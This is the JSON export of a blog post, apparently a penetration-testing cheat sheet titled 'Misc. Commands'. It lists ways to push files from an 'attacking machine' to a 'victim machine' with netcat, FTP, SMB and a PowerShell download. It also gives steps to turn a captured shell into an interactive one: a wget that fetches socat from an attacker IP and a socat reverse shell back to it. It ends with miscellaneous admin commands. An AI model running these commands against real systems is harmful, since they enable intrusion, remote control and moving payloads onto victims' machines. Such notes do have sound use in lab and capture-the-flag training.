{"id":161,"date":"2021-11-12T17:18:53","date_gmt":"2021-11-12T17:18:53","guid":{"rendered":"https:\/\/www.davincivirus.com\/?p=161"},"modified":"2021-11-12T17:41:49","modified_gmt":"2021-11-12T17:41:49","slug":"misc-commands","status":"publish","type":"post","link":"https:\/\/www.davincivirus.com\/?p=161","title":{"rendered":"Misc. Commands"},"content":{"rendered":"\n<p><strong>Uploading Files<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>SCP<\/em>\nscp -r \/path\/to\/local\/source user@ssh.example.com:\/path\/to\/remote\/destination\n<em>    - -r copies recursively\n<\/em>\n<em>NETCAT<\/em>\nVictim machine command:\n\tnc -lvp 4444 > FiletoTransfer\nAttacking machine command:\n\tnc 192.168.1.39 4444 -w 3 &lt; FiletoTransfer\n\t\n<em>FTP<\/em>\nAttacking machine command:\n\ttwistd -n ftp -r .\nVictim machine command:\n\tftp\n\topen 10.10.10.1 2121\n\tanonymous\n\tget FiletoTransfer\n\tbye\n<em>SMB<\/em>\nAttacking machine command:\n\timpacket-smbserver -smb2support test .\nVictim machine command:\n\tcopy \\\\10.10.10.1:8080\\FiletoTransfer FiletoTransfer\n\n<em>POWERSHELL<\/em>\nAttacking machine command:\n\tpython -m SimpleHTTPServer 8080\nVictim machine command:\n\tpowershell.exe -c \"(New-Object System.NET.WebClient).DownloadFile('http:\/\/10.10.10.1:8080\/FiletoTransfer','C:\\Users\\test\\Desktop\\FiletoTransfer')\"\n<\/code><\/pre>\n\n\n\n<p><strong>Fully Interactive Shell<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;blog.ropnop.com\/upgrading-simple-shells-to-fully-interactive-ttys\/\r\nhttps:\/\/github.com\/andrew-d\/static-binaries\n\n<em>Python<\/em>\npython -c 'import pty; pty.spawn(\"\/bin\/bash\")'\n\n<em>SOCAT<\/em>\nwget 10.10.14.41:8082\/socat\nchmod +x socat\nsocat file:`tty`,raw,echo=0 tcp-listen:4444\nsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.41:4444\n<\/code><\/pre>\n\n\n\n<p><strong>Uncategorized<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shutdown \/r \/f \/t 0   <em>(restarts a computer)<\/em>\n\npowershell Get-Service <em>(lists all services)<\/em>\n\nwevtutil qe security \/rd:true \/f:text \/q:\"*&#91;System\/EventID=4624] and *&#91;EventData\/Data&#91;@Name='TargetUserName']='QUERIED_USER_NAME']\" \/c:20     <em>(TO QUERY EVENT LOGS)<\/em>\n\n<em>Mounting a folder in Linux.\n<\/em>    - mkdir \/mnt\/&lt;LOCALFOLDERNAME>\n    - mount -t cifs -o username=&lt;USERNAME> \/\/&lt;IP>\/&lt;SHARED_FOLDER_PATH> \/mnt\/&lt;LOCALFOLDERNAME>\n\nmakecab.exe &lt;INFILE> &lt;OUTFILE>\n    extract &lt;INFILE> &lt;OUTFILE><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Uploading Files Fully Interactive Shell Uncategorized<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"_links":{"self":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/161"}],"collection":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=161"}],"version-history":[{"count":5,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/161\/revisions"}],"predecessor-version":[{"id":172,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/161\/revisions\/172"}],"wp:attachment":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=161"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}